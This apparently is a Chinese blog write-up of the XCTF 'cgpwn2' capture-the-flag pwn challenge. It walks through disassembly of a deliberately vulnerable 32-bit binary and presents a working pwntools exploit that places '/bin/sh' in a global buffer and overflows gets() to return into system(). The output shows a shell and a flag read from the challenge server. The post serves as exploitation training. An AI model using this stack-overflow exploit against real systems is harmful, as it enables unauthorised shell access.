

# cgpwn2 [XCTF-PWN]CTF writeup系列10

原创

3riC5r 于 2019-12-20 21:11:05 发布 326 收藏

分类专栏: [XCTF-PWN CTF](#) 文章标签: [攻防世界](#) [xctf](#) [ctf](#) [pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/fastergohome/article/details/103638627>

版权



[XCTF-PWN 同时被 2 个专栏收录](#)

28 篇文章 5 订阅

订阅专栏



[CTF](#)

46 篇文章 1 订阅

订阅专栏

题目地址: [cgpwn2](#)

先看看题目内容:



照例检查一下保护机制

```
root@mypwn:/ctf/work/python# checksec 330890cb0975439295262dd46dac13b9
[*] '/ctf/work/python/330890cb0975439295262dd46dac13b9'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

只有NX打开了, 那就应该可以执行栈溢出, 打开IDA看下

Functions window | IDA View-A | Hex View-1 | St

Function name

- \_init\_proc
- sub\_80483D0
- \_setbuf**
- gets**
- fgets**
- puts**
- system**
- \_\_gmon\_start\_\_
- \_\_libc\_start\_main
- start
- \_\_x86\_get\_pc\_thunk\_bx
- deregister\_tm\_clones
- register\_tm\_clones
- \_\_do\_global\_ctors\_aux
- frame\_dummy
- pwn
- hello
- main**
- \_\_libc\_csu\_init
- \_\_libc\_csu\_fini
- term\_proc
- setbuf
- gets
- fgets
- puts
- system
- \_\_libc\_start\_main
- \_\_gmon\_start\_\_

```

.text:08048603
.text:08048604
.text:08048604 ; ===== S U B R O U T I N E =====
.text:08048604 ; Attributes: bp-based frame
.text:08048604 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048604 public main
.text:08048604 main proc near ; DATA XREF: start+1770
.text:08048604
.text:08048604 argvc = dword ptr 8
.text:08048604 argv = dword ptr 0Ch
.text:08048604 envp = dword ptr 10h
.text:08048604
.text:08048604 ; __unwind {
.text:08048604 push ebp
.text:08048605 mov ebp, esp
.text:08048607 and esp, 0FFFFFFF0h
.text:0804860A sub esp, 10h
.text:0804860D mov eax, ds:stdin@GLIBC_2_0
.text:08048612 mov dword ptr [esp+4], 0 ; buf
.text:0804861A mov [esp], eax ; stream
.text:0804861D call _setbuf
.text:08048622 mov eax, ds:stdout@GLIBC_2_0
.text:08048627 mov dword ptr [esp+4], 0 ; buf
.text:0804862F mov [esp], eax ; stream
.text:08048632 call _setbuf
.text:08048637 mov eax, ds:stderr@GLIBC_2_0
.text:0804863C mov dword ptr [esp+4], 0 ; buf
.text:08048644 mov [esp], eax ; stream
.text:08048647 call _setbuf
.text:0804864C call hello
.text:08048651 mov dword ptr [esp], offset aThankYou ; "thank you"
.text:08048658 call _puts
.text:0804865D mov eax, 0
.text:08048662 leave
.text:08048663 retn
.text:08048663 ; } // starts at 8048604
.text:08048663 main endp
.text:08048663
.text:08048664 ; -----
.text:08048670 align 10h
.text:08048670 ; ===== S U B R O U T I N E =====
.text:08048670
.text:08048670 ; void __libc_csu_init(void)
.text:08048670 public __libc_csu_init
.text:08048670 __libc_csu_init proc near ; DATA XREF: start+1070
.text:08048670
.text:08048670 var_2C = dword ptr -2Ch
.text:08048670 var_28 = dword ptr -28h
.text:08048670 var_24 = dword ptr -24h
.text:08048670 arg_0 = dword ptr 4
.text:08048670 arg_4 = dword ptr 8
.text:08048670 arg_8 = dword ptr 0Ch
.text:08048670
.text:08048670 ; __unwind {
.text:08048670 push ebp
.text:08048671 push edi
.text:08048672 xor edi, edi
.text:08048674 push esi
.text:08048675 push ebx
.text:08048676 call __x86_get_pc_thunk_bx
.text:0804867B add ebx, 1985h
.text:08048681 sub esp, 1Ch
.text:08048684 mov ebp, [esp+2Ch+arg_0]
.text:08048688 lea esi, (__do_global_ctors_aux_fini_array_entry - 804A000)
.text:0804868E call _init_proc
.text:08048693 lea eax, (__frame_dummy_init_array_entry - 804A000h)[ebx]

```

Line 18 of 28 | 00000604 08048604: main (Synchronized with Hex View-1) | <https://blog.csdn.net/bastarqhome>

我们可以看到三个重要的函数：main、hello、pwn，反编译成c语言如下：

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    hello();
    puts("thank you");
    return 0;
}

char *hello()
{
    char *v0; // eax
    signed int v1; // ebx
    unsigned int v2; // ecx
    char *v3; // eax
    char s; // [esp+12h] [ebp-26h]
    int v6; // [esp+14h] [ebp-24h]

    v0 = &s;
    v1 = 30;
    if ( (unsigned int)&s & 2 )
    {
        *(_WORD *)&s = 0;
        v0 = (char *)&v6;
        v1 = 28;
    }
    v2 = 0;
do
{
    *(_DWORD *)&v0[v2] = 0;
    v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFF) );
v3 = &v0[v2];
if ( v1 & 2 )
{
    *(_WORD *)v3 = 0;
    v3 += 2;
}
if ( v1 & 1 )
    *v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}

int pwn()
{
    return system("echo hehehe");
}

```

注意到hello里面一堆乱七八糟的代码，都没用。只有最后4行是关键：

```
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
```

测试一下两个点都可以溢出，应该不需要两个溢出点

```
root@mypwn:/ctf/work/python# ./330890cb0975439295262dd46dac13b9
please tell me your name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hello,you can leave some message here:
Segmentation fault
root@mypwn:/ctf/work/python# ./330890cb0975439295262dd46dac13b9
please tell me your name
aa
hello,you can leave some message here:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
```

检查一下栈溢出的三个要素，溢出点有了，pwn函数中找到了system，还差/bin/sh。全局查找了一下没有发现/bin/sh，在看下变量name是在bss段中，全局变量。那就可以直接把/bin/sh传给name。system和name的地址如下：

```
.plt:08048420 ; int system(const char *command)
.plt:08048420 _system      proc near                ; CODE XREF: pwn+D↓p
.plt:08048420
.plt:08048420 command      = dword ptr  4
.plt:08048420
.plt:08048420              jmp     ds:off_804A01C
.plt:08048420 _system      endp

.bss:0804A080          public name
.bss:0804A080 ; char name[52]
.bss:0804A080 name      db 34h dup(?)          ; DATA XREF: hello+77↑o
.bss:0804A080 _bss      ends
```

好了，三个要素都已经搞定，构造一下payload

```
system_addr = 0x08048420
binsh_addr = 0x0804A080
payload = 'A'*0x26 + 'A'*4 + p32(system_addr) + 'A'*4 + p32(binsh_addr)
```

栈溢出已经说了好多次了，就不再赘述了。根据payload编写python脚本如下：

```
#!/python
#!/usr/bin/env python
# coding=utf-8

from pwn import *
# context.log_level = 'debug'
p = process('./330890cb0975439295262dd46dac13b9')
# p = remote("111.198.29.45", 57351)

system_addr = 0x08048420
binsh_addr = 0x0804A080
payload = 'A'*0x26 + 'A'*4 + p32(system_addr) + 'A'*4 + p32(binsh_addr)

p.sendlineafter('please tell me your name', '/bin/sh')
p.sendlineafter('you can leave some message here:', payload)
p.interactive()
```

具体执行结果如下：

```
root@mypwn:/ctf/work/python# python cgpwn2.py
[+] Starting local process './330890cb0975439295262dd46dac13b9': pid 197
[*] Switching to interactive mode

$ id
uid=0(root) gid=0(root) groups=0(root)
$
```

执行成功，修改python脚本连接服务器：

```
root@mypwn:/ctf/work/python# python cgpwn2.py
[+] Opening connection to 111.198.29.45 on port 57351: Done
[*] Switching to interactive mode

$ cat flag
cyberpeace{8a707891cac7e8c2b05dd9ea2d76df86}
$
```

执行成功，这个题目考的知识点是如何用bss段变量构造/bin/sh。